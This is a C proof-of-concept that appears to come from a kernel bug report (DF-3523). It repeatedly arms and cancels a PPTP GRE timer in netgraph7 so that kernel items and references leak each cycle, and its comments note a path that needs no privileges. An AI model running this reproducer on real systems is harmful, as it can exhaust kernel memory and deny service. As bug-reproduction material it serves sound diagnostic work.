DF-3523 / pptp_leak.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 | /* * DF-3523 -- netgraph7 ng_pptpgre: ng_uncallout() leaks the timer item * (ng7 twin of v1 DF-3521, via the DF-3515 callout_stop contract) * * Root cause: * ng7 ng_callout() (ng_base.c:3248-3268) stores the ng_item (holding one * node ref + one hook ref) as the callout arg. ng_uncallout() * (ng_base.c:3273-3296) only frees that item when callout_stop() returns * non-zero. On this kernel callout_stop() of an ARMED, not-yet-fired * callout completes the stop inline and returns 0 (kern_timeout.c * CALLOUT_STOP branch never sets CALLOUT_PREVENTED -- DF-3515), so the * item is never freed: every armed-then-cancelled rack/sack timer * permanently leaks one struct ng_item + one node ref + one hook ref. * * ng7 ng_pptpgre cancels armed timers in NORMAL operation: * - ng_pptpgre_reset() (ng_pptpgre.c:968-969) -- every SET_CONFIG * (rcvmsg :396) and every session-hook disconnect (:494) * - ack processing (:770), piggy-backed ack in xmit (:596) * * Trigger per cycle (needs one armed rack timer): * 1. NGM_PPTPGRE_SET_CONFIG {enabled=1, enableWindowing=1, ...} * 2. write 1 data byte to the "upper" hook -> ng_pptpgre_xmit() arms * rackTimer (ng_pptpgre.c:627-629: first unacked seq after xmitSeq++) * 3. NGM_PPTPGRE_SET_CONFIG again -> reset() -> * ng_uncallout(armed rackTimer) ==> 1 item leaked * * Control run: same cycles with enableWindowing=0 (rack timer never armed) * -> count must stay flat. * * Build: cc -O2 -o pptp_leak pptp_leak.c * Run: ./pptp_leak <rounds> [nowindow] (measure with vmstat -m) */ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> /* ---- ng7 netgraph user ABI (self-contained copies) ---- */ #define AF_NG 32 #define NG_DATA 1 #define NG_CONTROL 2 #define NG_VERSION 8 #define NGM_GENERIC_COOKIE 1137070366 #define NGM_MKPEER 2 #define NGM_CONNECT 3 #define NGM_NAME 4 #define NGM_NODEINFO (6 | 0x10000000 | 0x20000000) #define NGM_PPTPGRE_COOKIE 1082548365 #define NGM_PPTPGRE_SET_CONFIG 1 #define NG_TYPESIZ 32 #define NG_HOOKSIZ 32 #define NG_NODESIZ 32 #define NG_PATHSIZ 512 struct ngm_hdr_ { u_char version; u_char spare; u_short spare2; u_int arglen; u_int cmd; u_int flags; u_int token; u_int typecookie; char cmdstr[32]; }; struct ng_mesg_ { struct ngm_hdr_ header; char data[1024]; }; struct ngm_mkpeer_ { char type[NG_TYPESIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; }; struct ngm_name_ { char name[NG_NODESIZ]; }; struct nodeinfo_ { char name[NG_NODESIZ]; char type[NG_TYPESIZ]; u_int32_t id; u_int32_t hooks; }; struct sockaddr_ng_ { u_char sg_len; sa_family_t sg_family; char sg_data[64]; }; /* struct ng_pptpgre_conf (ng_pptpgre.h) */ struct pptp_conf_ { u_char enabled, enableDelayedAck, enableAlwaysAck, enableWindowing; u_int16_t cid, peerCid, recvWin, peerPpd; }; static u_int32_t tok = 0x1000; static int ng_send_msg2(int cs, const char *path, u_int cookie, u_int cmd, const void *arg, size_t arglen, struct ng_mesg_ *reply) { struct ng_mesg_ m; struct sockaddr_ng_ sa; ssize_t n; memset(&m, 0, sizeof(m)); m.header.version = NG_VERSION; m.header.arglen = arglen; m.header.cmd = cmd; m.header.token = ++tok; m.header.typecookie = cookie; if (arglen) memcpy(m.data, arg, arglen); memset(&sa, 0, sizeof(sa)); sa.sg_family = AF_NG; snprintf(sa.sg_data, sizeof(sa.sg_data), "%s", path); sa.sg_len = 2 + strlen(sa.sg_data) + 1; n = sendto(cs, &m, sizeof(m.header) + arglen, 0, (struct sockaddr *)&sa, sa.sg_len); if (n < 0) return (-1); if (reply) { u_int32_t mytok = m.header.token; int tries; for (tries = 0; tries < 32; tries++) { n = recv(cs, reply, sizeof(*reply), 0); if (n < 0) return (-1); if (reply->header.token != mytok) continue; if (reply->header.flags & 1 /* NGF_RESP */) { if (reply->header.arglen == 4) return (-((int)*(u_int32_t *)reply->data ? (int)*(u_int32_t *)reply->data : EIO)); return (0); } } return (-1); } return (0); } static int ng_send_msg(int cs, const char *path, u_int cmd, const void *arg, size_t arglen, struct ng_mesg_ *reply) { return (ng_send_msg2(cs, path, NGM_GENERIC_COOKIE, cmd, arg, arglen, reply)); } static int nodeinfo_id(int cs, u_int32_t *id) { static struct ng_mesg_ reply; struct nodeinfo_ *ni; if (ng_send_msg(cs, ".", NGM_NODEINFO, NULL, 0, &reply) < 0) return (-1); ni = (struct nodeinfo_ *)reply.data; *id = ni->id; return (0); } int main(int argc, char **argv) { int cs, cs2, ds, rounds, i, win = 1; struct ngm_mkpeer_ mkp; struct ngm_name_ nam; struct pptp_conf_ conf; struct sockaddr_ng_ sa; u_int32_t id; char byte = 'X'; rounds = (argc > 1) ? atoi(argv[1]) : 10000; if (argc > 2 && strcmp(argv[2], "nowindow") == 0) win = 0; /* -------- root: build the graph -------- */ cs = socket(AF_NG, SOCK_DGRAM, NG_CONTROL); if (cs < 0) { perror("control socket"); exit(1); } memset(&mkp, 0, sizeof(mkp)); strcpy(mkp.type, "pptpgre"); strcpy(mkp.ourhook, "c0"); strcpy(mkp.peerhook, "upper"); if (ng_send_msg(cs, ".", NGM_MKPEER, &mkp, sizeof(mkp), NULL) < 0) { perror("mkpeer pptpgre"); exit(1); } memset(&nam, 0, sizeof(nam)); snprintf(nam.name, sizeof(nam.name), "pptp%s", (argc > 3) ? argv[3] : (win ? "0" : "1")); if (ng_send_msg(cs, "c0", NGM_NAME, &nam, sizeof(nam), NULL) < 0) { perror("name pptp0"); exit(1); } /* data socket on its own socket-node, hooked to pptp0:session_0000 */ cs2 = socket(AF_NG, SOCK_DGRAM, NG_CONTROL); ds = socket(AF_NG, SOCK_DGRAM, NG_DATA); if (cs2 < 0 || ds < 0) { perror("sockets"); exit(1); } { struct ngm_connect_ { char path[NG_PATHSIZ]; char ourhook[NG_HOOKSIZ]; char peerhook[NG_HOOKSIZ]; } con; memset(&con, 0, sizeof(con)); snprintf(con.path, sizeof(con.path), "%s:", nam.name); strcpy(con.ourhook, "data"); strcpy(con.peerhook, "session_0000"); if (ng_send_msg(cs2, ".", NGM_CONNECT, &con, sizeof(con), NULL) < 0) { perror("connect data->pptp0:session_0000"); exit(1); } } if (nodeinfo_id(cs2, &id) < 0) { perror("nodeinfo"); exit(1); } memset(&sa, 0, sizeof(sa)); sa.sg_family = AF_NG; snprintf(sa.sg_data, sizeof(sa.sg_data), "[%x]:", id); sa.sg_len = 2 + strlen(sa.sg_data) + 1; if (connect(ds, (struct sockaddr *)&sa, sa.sg_len) < 0) { perror("connect data socket"); exit(1); } memset(&conf, 0, sizeof(conf)); conf.enabled = 1; conf.enableWindowing = win; /* arms rackTimer in xmit() */ conf.cid = 0; conf.peerCid = 0; conf.recvWin = 16; /* drop privileges: ng7 data sockets have no privilege check */ if (setgid(65534) || setuid(65534)) { perror("setuid"); /* non-fatal: continue anyway */ } for (i = 0; i < rounds; i++) { if (ng_send_msg2(cs, "c0", NGM_PPTPGRE_COOKIE, NGM_PPTPGRE_SET_CONFIG, &conf, sizeof(conf), NULL) < 0) { fprintf(stderr, "round %d: setconfig: %s\n", i, strerror(errno)); exit(1); } if (win) { struct sockaddr_ng_ dsa; memset(&dsa, 0, sizeof(dsa)); dsa.sg_family = AF_NG; strcpy(dsa.sg_data, "data"); dsa.sg_len = 2 + strlen(dsa.sg_data) + 1; if (sendto(ds, &byte, 1, 0, (struct sockaddr *)&dsa, dsa.sg_len) != 1) { fprintf(stderr, "round %d: send: %s\n", i, strerror(errno)); exit(1); } } if (ng_send_msg2(cs, "c0", NGM_PPTPGRE_COOKIE, NGM_PPTPGRE_SET_CONFIG, &conf, sizeof(conf), NULL) < 0) { fprintf(stderr, "round %d: setconfig2: %s\n", i, strerror(errno)); exit(1); } if ((i % 5000) == 4999) { printf("... %d rounds\n", i + 1); fflush(stdout); } } printf("done: %d rounds (windowing=%d)\n", rounds, win); return (0); } |